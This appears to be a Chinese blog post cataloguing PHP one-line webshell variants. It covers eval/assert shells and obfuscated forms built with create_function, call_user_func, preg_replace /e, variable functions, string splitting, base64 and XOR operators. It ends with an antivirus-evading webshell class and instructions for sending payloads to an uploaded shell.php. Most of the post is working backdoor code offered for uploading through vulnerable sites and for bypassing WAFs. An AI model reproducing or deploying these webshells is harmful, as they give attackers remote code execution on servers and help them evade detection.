一句话木马的变形

初始的一句话木马

<?php @eval($_POST['juminfo']);?> <?php @assert($_POST['juminfo']);?>

找到具有上传漏洞的站点,将该脚本上传,并访问。发现是一片空白,可以说明该木马能被解析。

create_function函数

<?php
$fun = create_function('',$_POST['juminfo']);
$fun();
?>

把用户传递的数据生成一个函数fun(),然后再执行fun()。

call_user_func函数

<?php
@call_user_func(assert,$_POST['juminfo']);
?>

call_user_func这个函数可以调用其它函数,被调用函数是call_user_func的第一个函数被调用的函数参数是call_user_func的第二个参数。这样的一个语句也可以完成一句话木马。一些被waf拦截的木马可以配合这个函数绕过waf。

preg_replace函数

<?php
@preg_replace("/abcde/e", $_POST['juminfo'], "abcdefg");
?>

这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行

file_put_contents函数

<?php
$test='<?php $a=$_POST["juminfo"];assert($a); ?>';
file_put_contents("hello.php", $test);
?>

使用方法:先用浏览器访问,生成新的文件"hello.php",再连接"hello.php"。

利用函数生成文件,第一个参数是文件名,第二个参数是文件的内容。

PHP变量函数

<?php
$a = "assert";
$a(@$_POST['juminfo']);
?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。

PHP可变变量

<?php
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>

通过上一个语句进行的多一层变化:$$a = ( ( (a) = $ (‘bb’) = $bb = “assert”

str_replace函数

<?php
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>

在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。

base64_decode函数

<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>

这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。

"."操作符

<?php
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>

运算符变形

<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>

用echo打印出三个变量$_++、$__、$___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。

<?php $_GET[0]($_POST[1])?>

只要我们将0赋值为assert就可以构成经典的一句话<?php assert($_POST[1])?>,密码是1。

在这里插入图片描述

<?php被过滤

<script language="php">@eval($_POST['cmd'])</script>

免杀php一句话

<?php
class VONE {
 function HALB() {
 $rlf = 'B' ^ "\x23";
 $fzq = 'D' ^ "\x37";
 $fgu = 'h' ^ "\x1b";
 $sbe = 'R' ^ "\x37";
 $gba = 'H' ^ "\x3a";
 $oya = 'Y' ^ "\x2d";
 $MWUC = $rlf . $fzq . $fgu . $sbe . $gba . $oya;
 return $MWUC;}function __destruct() {
 $RNUJ = $this->HALB();
 @$RNUJ($this->HY);}}
$vone = new VONE();
@$vone->HY = isset($_GET['id']) ? base64_decode($_POST['mr6']) : $_POST['mr6'];
?>
使用说明

是否传入id参数决定是否把流量编码
 
http://www.xxx.com/shell.php 
POST: mr6=phpinfo();  //与普通shell相同
 
http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo=  //payload的base64编码

参考

铭说 | 一句话木马的多种变形方式

上传一句话木马时<? php被过滤的解决办法

免杀PHP一句话

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值